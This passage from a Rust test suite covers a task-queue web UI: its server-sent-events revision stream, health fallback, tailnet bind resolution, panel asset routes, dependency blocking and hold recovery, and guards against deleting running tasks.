22907        assert!(
22908            seen.to_lowercase()
22909                .contains("content-type: text/event-stream"),
22910            "the browser only reconnects automatically for a real SSE stream: {seen}"
22911        );
22912        let data = seen
22913            .lines()
22914            .find_map(|l| l.strip_prefix("data:"))
22915            .expect("a data line");
22916        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22917        assert!(
22918            payload["queue_rev"].is_u64()
22919                && payload["runs_rev"].is_u64()
22920                && payload["questions_rev"].is_u64()
22921                && payload["talks_rev"].is_u64()
22922                && payload["notifications_rev"].is_u64()
22923                && payload["loop_rev"].is_u64(),
22924            "the client needs one revision per store to know what to refetch, \
22925             and `talks_rev` is the only notification a standing talk gets - a \
22926             phone whose radio slept through a turn learns about it here, as \
22927             does one whose operator started the loop from another device: \
22928             {payload}"
22929        );
22930
22931        // The front end re-polls health on a timer and on wake, and takes the
22932        // revisions from that answer whenever the stream is not up. So health
22933        // has to carry every key the stream carries: a phone on a link that
22934        // will not hold an SSE connection is exactly the phone that must still
22935        // notice a question, and a missing key there is not a 500 but a UI
22936        // that quietly stops updating.
22937        let health = f.get("/api/health").await.json();
22938        for key in [
22939            "queue_rev",
22940            "runs_rev",
22941            "questions_rev",
22942            "talks_rev",
22943            "notifications_rev",
22944            "loop_rev",
22945        ] {
22946            assert!(
22947                health[key].is_u64(),
22948                "health is the change stream's fallback and is missing `{key}`: {health}"
22949            );
22950        }
22951    }
22952
22953    #[tokio::test]
22954    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22955        let home = TempDir::new().expect("temp home");
22956        let ui = delta_test_ui(home.path());
22957        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22958        // Establish the existing conversation's baseline before appending.
22959        // Wait on the stream's shared notification rather than repeatedly
22960        // rebuilding health (config, process and disk observations included).
22961        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22962        let mut changes = ui.monitor.broadcaster.subscribe();
22963        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22964        on_disk.turns.push(crate::talk::Turn {
22965            sender: None,
22966            breaks: Some(Vec::new()),
22967            messages: Vec::new(),
22968            posted_by: None,
22969            who: crate::talk::Who::Operator,
22970            body: "a new turn".to_owned(),
22971            at: Timestamp::now(),
22972            attachments: Vec::new(),
22973            usage: None,
22974        });
22975        ui.talks.put(&mut on_disk).expect("record a turn");
22976
22977        let after = tokio::time::timeout(Duration::from_secs(5), async {
22978            loop {
22979                let change = changes.recv().await.expect("monitor notification");
22980                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22981                if revision != before {
22982                    assert_eq!(
22983                        change.payload["talks_delta"]["changed"],
22984                        serde_json::json!([talk])
22985                    );
22986                    break revision;
22987                }
22988            }
22989        })
22990        .await
22991        .expect("shared monitor observes external turn");
22992        assert_ne!(
22993            before, after,
22994            "a phone must be able to notice a talk's reply without polling every store"
22995        );
22996        let Json(observed) = health(State(ui)).await.expect("health");
22997        assert_eq!(
22998            observed.talks_rev, after,
22999            "health exposes the same revision"
23000        );
23001    }
23002
23003    #[test]
23004    fn bind_reads_back_from_the_spelling_the_cli_prints() {
23005        // The CLI shows the default in `--help` and parses whatever comes
23006        // back, so the two directions have to agree or `--bind auto` breaks
23007        // the moment someone copies the help text.
23008        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23009            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23010        }
23011        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23012        assert!("everywhere".parse::<Bind>().is_err());
23013    }
23014
23015    #[test]
23016    fn an_explicit_bind_address_is_taken_verbatim() {
23017        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23018
23019        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23020
23021        assert_eq!(addr, asked);
23022        assert!(
23023            warning.is_none(),
23024            "an operator who named an address gets no lecture"
23025        );
23026    }
23027
23028    #[test]
23029    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23030        let (addr, warning) = resolve_bind(&Bind::Auto);
23031
23032        // This has to hold on a CI runner with no `tailscale` and on a dev box
23033        // with one, so the invariant asserted is the one shared by both
23034        // outcomes: the address is either a real tailnet address offered
23035        // without comment, or loopback with an explanation. What must never
23036        // happen is a silent fallback - an operator told "listening on
23037        // 127.0.0.1" with no reason would go looking for a firewall.
23038        match addr {
23039            IpAddr::V4(ip) if is_tailnet(&ip) => {
23040                assert!(warning.is_none(), "a tailnet address needs no warning");
23041            }
23042            other => {
23043                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23044                let warning = warning.expect("a fallback has to explain itself");
23045                assert!(
23046                    warning.contains("127.0.0.1") && warning.contains("local-only"),
23047                    "the warning says what happened and what it costs: {warning}"
23048                );
23049            }
23050        }
23051    }
23052
23053    #[test]
23054    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23055        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
23056        // boundary cases are what stop us binding to some other tool's idea of
23057        // an address.
23058        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23059        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23060        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23061        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23062        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23063    }
23064
23065    #[test]
23066    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23067        let ids = vec![
23068            "20260902-140501-aaaa".to_owned(),
23069            "20260902-140502-aabb".to_owned(),
23070        ];
23071
23072        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23073        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23074        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23075
23076        assert_eq!(missing.status, StatusCode::NOT_FOUND);
23077        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23078        assert_eq!(short, "20260902-140502-aabb");
23079    }
23080    #[tokio::test]
23081    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23082        // The prompt tells agents to reference attachments by bare filename.
23083        // A document served at `.../panel` resolves `shot.png` against its own
23084        // directory, i.e. `.../shot.png`, which is not the asset route - so a
23085        // panel written exactly as instructed showed broken images. Caught by
23086        // looking at a real one in a browser, not by reading the code.
23087        let fx = Fixture::start().await;
23088        let id = panel(
23089            &fx,
23090            "<img src=\"shot.png\">",
23091            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23092        );
23093
23094        // The frame's own URL ends in a filename, so its siblings are reachable.
23095        let doc = fx
23096            .get(&format!("/api/questions/{id}/panel/index.html"))
23097            .await;
23098        assert_eq!(doc.status, 200, "{}", doc.body);
23099        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23100
23101        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23102        assert_eq!(sibling.status, 200, "{}", sibling.body);
23103        assert_eq!(sibling.header("content-type"), Some("image/png"));
23104        assert_eq!(
23105            sibling.header("content-security-policy"),
23106            Some(PANEL_CSP),
23107            "the sibling route must carry the same policy as the asset route"
23108        );
23109
23110        // The original spelling keeps working: HEAD on it is how the front end
23111        // decides whether to mount a frame at all.
23112        assert_eq!(
23113            fx.head(&format!("/api/questions/{id}/panel")).await.status,
23114            200
23115        );
23116    }
23117
23118    #[test]
23119    fn delta_stamps_cover_add_update_remove_and_noop() {
23120        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23121        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23122        let delta = diff_stamps(&before, &after, 42);
23123        assert_eq!(delta.base, 42);
23124        assert_eq!(delta.changed, ["b", "c"]);
23125        assert_eq!(delta.removed, ["a"]);
23126        let same = diff_stamps(&after, &after, 43);
23127        assert!(same.changed.is_empty() && same.removed.is_empty());
23128        assert_ne!(stamps_revision(&before), stamps_revision(&after));
23129        let nanos: Stamps = [("b".into(), (2, 20))].into();
23130        let same_ms: Stamps = [("b".into(), (3, 20))].into();
23131        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23132        assert_eq!(stamps_revision(&Stamps::new()), 0);
23133    }
23134
23135    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23136        std::fs::create_dir_all(home.join("runs")).unwrap();
23137        Arc::new(
23138            Ui::new(
23139                Queue::at(home.join("queue")),
23140                Questions::at(home.join("questions")),
23141                Talks::at(home.join("talks")),
23142                home.join("runs"),
23143                home.to_owned(),
23144                PathBuf::from("/repo/magi"),
23145            )
23146            .with_worktrees_root(home.join("wt")),
23147        )
23148    }
23149
23150    #[test]
23151    fn monitor_scan_isolates_store_failures_and_recovers() {
23152        let home = TempDir::new().unwrap();
23153        let ui = delta_test_ui(home.path());
23154        std::fs::create_dir_all(ui.questions.root()).unwrap();
23155        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23156        let before = monitor_scan(&ui, None);
23157        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23158        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23159        std::fs::create_dir_all(ui.talks.root()).unwrap();
23160        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23161        let during = monitor_scan(&ui, Some(before.clone()));
23162        assert_eq!(during.0.2, before.0.2);
23163        assert_ne!(during.0.3, before.0.3);
23164        assert!(during.1[2].contains_key("new"));
23165        std::fs::remove_file(ui.questions.root()).unwrap();
23166        let after = monitor_scan(&ui, Some(during));
23167        assert_eq!(after.0.2, 0);
23168        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23169        // A failed first scan also permits healthy stores to publish.
23170        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23171        assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23172    }
23173
23174    #[test]
23175    fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23176        let home = TempDir::new().unwrap();
23177        let ui = delta_test_ui(home.path());
23178        let root = ui.queue.root();
23179        std::fs::create_dir_all(root).unwrap();
23180        let before = monitor_scan(&ui, None);
23181        *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23182        let status = || {
23183            chat_inventory(&ui)
23184                .status_of("chat", true, crate::chat_status::Goals::default(), false)
23185                .kind
23186        };
23187        assert_eq!(status(), crate::chat_status::Kind::Idle);
23188        std::fs::remove_dir(root).unwrap();
23189        std::fs::write(root, "not a directory").unwrap();
23190        let failed = monitor_scan(&ui, Some(before.clone()));
23191        assert_ne!(failed.0.3, before.0.3);
23192        *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23193        assert_eq!(status(), crate::chat_status::Kind::Unknown);
23194        std::fs::remove_file(root).unwrap();
23195        std::fs::create_dir(root).unwrap();
23196        let recovered = monitor_scan(&ui, Some(failed));
23197        *ui.monitor.latest.lock().unwrap() = Some(recovered);
23198        assert_eq!(status(), crate::chat_status::Kind::Idle);
23199    }
23200
23201    #[tokio::test]
23202    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23203        let home = TempDir::new().unwrap();
23204        let ui = delta_test_ui(home.path());
23205        let mut task = Task::new(
23206            "stream task".into(),
23207            "text".into(),
23208            PathBuf::from("/repo"),
23209            Source::Human,
23210        );
23211        ui.queue.put(&mut task).unwrap();
23212        let response = events(State(ui.clone())).await.into_response();
23213        let mut stream = response.into_body().into_data_stream();
23214        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23215            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23216                .await
23217                .unwrap()
23218                .unwrap()
23219                .unwrap();
23220            let text = String::from_utf8(chunk.to_vec()).unwrap();
23221            let data = text
23222                .lines()
23223                .find_map(|line| {
23224                    line.strip_prefix("data: ")
23225                        .or_else(|| line.strip_prefix("data:"))
23226                })
23227                .unwrap();
23228            serde_json::from_str(data).unwrap()
23229        }
23230        let initial = change(&mut stream).await;
23231        assert!(initial.get("queue_delta").is_none());
23232        task.instruction.push_str(" changed");
23233        ui.queue.put(&mut task).unwrap();
23234        let updated = change(&mut stream).await;
23235        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23236        assert_eq!(
23237            updated["queue_delta"]["changed"],
23238            serde_json::json!([task.id])
23239        );
23240        assert_eq!(
23241            updated["queue_rev"].as_u64(),
23242            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23243        );
23244        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23245        let removed = change(&mut stream).await;
23246        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23247        assert_eq!(
23248            removed["queue_delta"]["removed"],
23249            serde_json::json!([task.id])
23250        );
23251    }
23252
23253    #[tokio::test]
23254    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23255        let home = TempDir::new().unwrap();
23256        let ui = delta_test_ui(home.path());
23257        let queue = ui.queue.clone();
23258        let query = |ids: Option<&str>| {
23259            Query(ListQuery {
23260                limit: Some(2),
23261                ids: ids.map(str::to_owned),
23262            })
23263        };
23264        let mut root = Task::new(
23265            "root".into(),
23266            "instruction".into(),
23267            PathBuf::from("/repo"),
23268            Source::Human,
23269        );
23270        queue.put(&mut root).unwrap();
23271        let mut blocked = Task::new(
23272            "blocked".into(),
23273            "instruction".into(),
23274            PathBuf::from("/repo"),
23275            Source::Human,
23276        );
23277        blocked.block(vec![root.id.clone()], None);
23278        queue.put(&mut blocked).unwrap();
23279        let whole =
23280            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23281                .unwrap();
23282        let subset = serde_json::to_value(
23283            queue_list(State(ui.clone()), query(Some(&root.id)))
23284                .await
23285                .unwrap()
23286                .0,
23287        )
23288        .unwrap();
23289        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23290        let blockers = serde_json::to_value(
23291            queue_list(State(ui.clone()), query(Some("")))
23292                .await
23293                .unwrap()
23294                .0,
23295        )
23296        .unwrap();
23297        assert_eq!(blockers.as_array().unwrap().len(), 1);
23298        assert_eq!(blockers[0]["id"], blocked.id);
23299        assert_eq!(
23300            blockers[0]["waits_on"],
23301            whole
23302                .as_array()
23303                .unwrap()
23304                .iter()
23305                .find(|row| row["id"] == blocked.id)
23306                .unwrap()["waits_on"]
23307        );
23308
23309        for id in [
23310            "20260902-140501-aaaa",
23311            "20260902-140502-bbbb",
23312            "20260902-140503-cccc",
23313        ] {
23314            write_run(&ui.runs, id, RunStatus::Merged);
23315        }
23316        let old = serde_json::to_value(
23317            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23318                .await
23319                .unwrap()
23320                .0,
23321        )
23322        .unwrap();
23323        assert!(
23324            old.as_array().unwrap().is_empty(),
23325            "older updates must not enter the window"
23326        );
23327        let newest = serde_json::to_value(
23328            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23329                .await
23330                .unwrap()
23331                .0,
23332        )
23333        .unwrap();
23334        assert_eq!(newest.as_array().unwrap().len(), 1);
23335        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23336
23337        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23338        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23339        let talks = serde_json::to_value(
23340            talks_list(
23341                State(ui.clone()),
23342                query(Some("20260905-000000-d4e5")),
23343                header::HeaderMap::new(),
23344            )
23345            .await
23346            .unwrap()
23347            .0,
23348        )
23349        .unwrap();
23350        assert_eq!(talks.as_array().unwrap().len(), 1);
23351        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23352        assert_eq!(
23353            serde_json::to_value(
23354                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23355                    .await
23356                    .unwrap()
23357                    .0
23358            )
23359            .unwrap(),
23360            serde_json::json!([])
23361        );
23362    }
23363
23364    #[tokio::test]
23365    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23366    async fn delta_payload_benchmark() {
23367        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23368        let ui = delta_test_ui(&home);
23369        let query = |ids: Option<String>| {
23370            Query(ListQuery {
23371                limit: Some(50),
23372                ids,
23373            })
23374        };
23375        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23376        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23377        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23378            .await
23379            .unwrap()
23380            .0;
23381        let queue_id = queue
23382            .iter()
23383            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23384            .unwrap_or(&queue[0])
23385            .task
23386            .id
23387            .clone();
23388        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23389            .await
23390            .unwrap()
23391            .0;
23392        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23393            .await
23394            .unwrap()
23395            .0;
23396        let talks_delta = talks_list(
23397            State(ui.clone()),
23398            query(Some(talks[0].id.clone())),
23399            header::HeaderMap::new(),
23400        )
23401        .await
23402        .unwrap()
23403        .0;
23404        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23405        eprintln!(
23406            "DELTA_PAYLOAD {}",
23407            serde_json::json!({
23408                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23409                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23410                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23411                "counts": [queue.len(), runs.len(), talks.len()],
23412                "blocked": queue_delta.len() - 1,
23413            })
23414        );
23415    }
23416
23417    #[test]
23418    fn runs_revision_moves_when_deleting_an_older_run() {
23419        let temp = TempDir::new().expect("tempdir");
23420        let runs = temp.path().join("runs");
23421        std::fs::create_dir_all(&runs).expect("create runs dir");
23422
23423        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23424
23425        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23426        std::thread::sleep(Duration::from_millis(10));
23427        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23428
23429        let rev_before = runs_revision(&runs);
23430        assert!(rev_before > 0);
23431
23432        let old_dir = runs.join("20260901-100000-old1");
23433        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23434
23435        let rev_after = runs_revision(&runs);
23436        assert_ne!(
23437            rev_before, rev_after,
23438            "deleting an older run must change the revision so other clients see the deletion"
23439        );
23440    }
23441
23442    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23443    /// process-global home entirely — `RunState::save` writes through
23444    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23445    /// (see `tests::home_lock` in the integration suite for why).
23446    fn write_state(runs: &FsPath, state: &RunState) {
23447        let dir = runs.join(&state.id);
23448        std::fs::create_dir_all(&dir).expect("run dir");
23449        std::fs::write(
23450            dir.join("run.json"),
23451            serde_json::to_string_pretty(state).expect("serialize run"),
23452        )
23453        .expect("write run.json");
23454    }
23455
23456    /// A seat starting or finishing is a write to `run.json` like any other,
23457    /// so it moves the same revision the change stream already watches —
23458    /// nothing new for `/api/events` to learn, but the property this feature
23459    /// depends on to reach the phone without a poll.
23460    #[test]
23461    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23462        let temp = TempDir::new().expect("tempdir");
23463        let runs = temp.path().join("runs");
23464        std::fs::create_dir_all(&runs).expect("create runs dir");
23465        let mut state = RunState::new(
23466            PathBuf::from("/repo/magi"),
23467            "main".to_owned(),
23468            "0123456789abcdef".to_owned(),
23469            "task".to_owned(),
23470            Config::default(),
23471        );
23472        state.id = "20260902-100000-c0de".to_owned();
23473        write_state(&runs, &state);
23474
23475        let rev_idle = runs_revision(&runs);
23476        std::thread::sleep(Duration::from_millis(10));
23477        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23478        write_state(&runs, &state);
23479        let rev_started = runs_revision(&runs);
23480        assert_ne!(
23481            rev_idle, rev_started,
23482            "a seat starting must move the revision"
23483        );
23484
23485        std::thread::sleep(Duration::from_millis(10));
23486        state.seat_finished("judge-1");
23487        write_state(&runs, &state);
23488        let rev_finished = runs_revision(&runs);
23489        assert_ne!(
23490            rev_started, rev_finished,
23491            "and clearing it again must move the revision a second time"
23492        );
23493    }
23494
23495    #[tokio::test]
23496    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23497        // `TaskView` flattens `Task`, so this is really asserting that
23498        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23499        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23500        // never touched web.rs, so nothing here caught it if it had.
23501        let fx = Fixture::start().await;
23502        let q = fx.queue();
23503
23504        let mut t = Task::new(
23505            "Task".to_owned(),
23506            "Instruction".to_owned(),
23507            PathBuf::from("/repo"),
23508            Source::Human,
23509        );
23510        t.block(
23511            vec!["20260101-000000-dead".to_owned()],
23512            Some("waiting on Task 1".to_owned()),
23513        );
23514        t.answers.push(crate::queue::AnsweredQuestion {
23515            question: "Which backend?".to_owned(),
23516            answer: "SQLite".to_owned(),
23517        });
23518        q.put(&mut t).expect("put t");
23519
23520        let res = fx.get("/api/queue").await;
23521        assert_eq!(res.status, 200);
23522        let list = res.json();
23523        let view = list
23524            .as_array()
23525            .expect("array")
23526            .iter()
23527            .find(|v| v["id"] == t.id)
23528            .expect("task in list");
23529        assert_eq!(view["status_str"], "blocked");
23530        assert_eq!(
23531            view["blocked_by"],
23532            serde_json::json!(["20260101-000000-dead"])
23533        );
23534        assert_eq!(view["block_reason"], "waiting on Task 1");
23535        assert_eq!(view["answers"][0]["question"], "Which backend?");
23536        assert_eq!(view["answers"][0]["answer"], "SQLite");
23537
23538        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23539        // but never `answers` - that is a settled decision, not state
23540        // describing the current block, so it survives.
23541        let res = fx
23542            .post(&format!("/api/queue/{}/hold", t.short()), None)
23543            .await;
23544        assert_eq!(res.status, 200);
23545        let held = res.json();
23546        assert_eq!(held["status_str"], "held");
23547        assert_eq!(held["blocked_by"], serde_json::json!([]));
23548        assert!(held["block_reason"].is_null());
23549        assert_eq!(held["answers"][0]["answer"], "SQLite");
23550    }
23551
23552    #[tokio::test]
23553    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23554        let fx = Fixture::start().await;
23555        let queue = fx.queue();
23556        let questions = fx.questions();
23557        let mut task = Task::new(
23558            "Disk recovery".into(),
23559            "Inspect".into(),
23560            PathBuf::from("/repo"),
23561            Source::Human,
23562        );
23563        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23564        task.mark_disk_capacity();
23565        queue.put(&mut task).unwrap();
23566        let mut records = Vec::new();
23567        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23568            let mut q = Question::new(
23569                task.id.clone(),
23570                node.into(),
23571                "triage".into(),
23572                "Resume recovery?".into(),
23573                String::new(),
23574                vec![],
23575            );
23576            q.routed_task = Some(task.id.clone());
23577            questions.put(&mut q).unwrap();
23578            records.push(q);
23579        }
23580        let url = format!("/api/queue/{}", task.id);
23581        let view = fx.get(&url).await.json();
23582        assert_eq!(view["status_str"], "held");
23583        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23584        assert!(
23585            view["recovery"]
23586                .as_str()
23587                .unwrap()
23588                .contains("Disk recovery alone will not resume")
23589        );
23590        assert!(
23591            view["recovery"]
23592                .as_str()
23593                .unwrap()
23594                .contains("Disk wait (automatically monitored)")
23595        );
23596        for blocker in view["blockers"].as_array().unwrap() {
23597            assert!(blocker["destination"].is_null());
23598            assert!(
23599                blocker["next"]
23600                    .as_str()
23601                    .unwrap()
23602                    .contains("pending delivery")
23603            );
23604        }
23605        for q in &mut records {
23606            q.routed_chat = Some("owning-chat".into());
23607            questions.put(q).unwrap();
23608        }
23609        let view = fx.get(&url).await.json();
23610        for blocker in view["blockers"].as_array().unwrap() {
23611            assert_eq!(
23612                blocker["destination"],
23613                serde_json::json!(["chat", "owning-chat"])
23614            );
23615            assert_eq!(blocker["resolves_itself"], false);
23616        }
23617        // Answered routed decisions can still be awaiting task-chat application.
23618        for q in &mut records {
23619            q.status = ask::QuestionStatus::Answered;
23620            questions.put(q).unwrap();
23621        }
23622        assert!(crate::triage::pending_for(&questions, &task));
23623        let view = fx.get(&url).await.json();
23624        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23625        assert!(
23626            view["blockers"][0]["next"]
23627                .as_str()
23628                .unwrap()
23629                .contains("not yet applied")
23630        );
23631        for q in &records {
23632            task.mark_triage_applied(&q.id);
23633        }
23634        queue.put(&mut task).unwrap();
23635        assert!(!crate::triage::pending_for(&questions, &task));
23636        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23637        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23638    }
23639
23640    #[test]
23641    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23642        use crate::queue::HoldSource;
23643        let mut task = Task::new(
23644            "Recovery".into(),
23645            "Inspect".into(),
23646            PathBuf::from("/repo"),
23647            Source::Human,
23648        );
23649        assert!(task_recovery(&task).is_none());
23650        task.hold_manual(Some("Operator paused".into()));
23651        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23652        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23653        let text = task_recovery(&task).unwrap();
23654        assert!(text.contains("restores held"));
23655        assert!(text.contains("clears its dependency references"));
23656        task.hold_source = Some(HoldSource::Machine);
23657        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23658        task.mark_disk_capacity();
23659        let view = TaskView::with_inventory(
23660            task.clone(),
23661            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23662        );
23663        let json = serde_json::to_value(view).unwrap();
23664        assert_eq!(json["block_reason"], "Decision needed");
23665        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23666        let recovery = json["recovery"].as_str().unwrap();
23667        assert!(recovery.contains("not current capacity"));
23668        assert!(recovery.contains("triage rechecks"));
23669        assert_eq!(json["blockers"][0]["state"], "missing");
23670        task.blocked_from = Some(TaskStatus::Queued);
23671        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23672        task.blocked_from = None;
23673        assert!(task_recovery(&task).unwrap().contains("restores held"));
23674    }
23675
23676    #[tokio::test]
23677    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23678        let fx = Fixture::start().await;
23679        let q = fx.queue();
23680        let mk = |title: &str| {
23681            Task::new(
23682                title.to_owned(),
23683                "Instruction".to_owned(),
23684                PathBuf::from("/repo"),
23685                Source::Human,
23686            )
23687        };
23688        let mut root = mk("root");
23689        root.hold_manual(Some("waiting".to_owned()));
23690        q.put(&mut root).unwrap();
23691        let mut mid = mk("mid");
23692        mid.block(vec![root.id.clone()], None);
23693        q.put(&mut mid).unwrap();
23694        let mut leaf = mk("leaf");
23695        leaf.block(vec![mid.id.clone()], None);
23696        q.put(&mut leaf).unwrap();
23697
23698        let list = fx.get("/api/queue").await.json();
23699        let find = |id: &str| {
23700            list.as_array()
23701                .unwrap()
23702                .iter()
23703                .find(|v| v["id"] == id)
23704                .unwrap()
23705                .clone()
23706        };
23707        let leaf_view = find(&leaf.id);
23708        assert_eq!(
23709            leaf_view["waits_on"],
23710            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23711        );
23712        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23713        assert_eq!(
23714            find(&mid.id)["waits_on"],
23715            serde_json::json!([format!("{} (held)", root.short())])
23716        );
23717        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23718    }
23719
23720    #[tokio::test]
23721    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23722        let fx = Fixture::start().await;
23723        let q = fx.queue();
23724
23725        // 1. A queued task with runs attached can be deleted.
23726        let mut t1 = Task::new(
23727            "Task 1".to_owned(),
23728            "Instruction 1".to_owned(),
23729            PathBuf::from("/repo"),
23730            Source::Human,
23731        );
23732        let run_id = "20260901-000000-r111";
23733        t1.runs.push(run_id.to_owned());
23734        write_run(&fx.runs(), run_id, RunStatus::Merged);
23735        q.put(&mut t1).expect("put t1");
23736
23737        // Delete by short id
23738        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23739        assert_eq!(res.status, 204);
23740        assert!(res.body.is_empty(), "204 No Content has no body");
23741        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23742        assert!(
23743            fx.runs().join(run_id).exists(),
23744            "run directory must not be deleted when its task is deleted"
23745        );
23746
23747        // 2. A task a live daemon is running is refused with 409.
23748        let mut t2 = Task::new(
23749            "Task 2".to_owned(),
23750            "Instruction 2".to_owned(),
23751            PathBuf::from("/repo"),
23752            Source::Human,
23753        );
23754        t2.status = TaskStatus::Running;
23755        q.put(&mut t2).expect("put t2");
23756        let mut beat = crate::daemon::Status::new();
23757        beat.current = vec![crate::daemon::Current {
23758            worker: None,
23759            task: t2.id.clone(),
23760            run: "20260901-000000-r222".to_owned(),
23761        }];
23762        beat.updated_at = jiff::Timestamp::now();
23763        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23764            .expect("publish a heartbeat");
23765        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23766        assert_eq!(res.status, 409);
23767        assert!(
23768            res.json()["error"]
23769                .as_str()
23770                .unwrap()
23771                .contains("live daemon")
23772        );
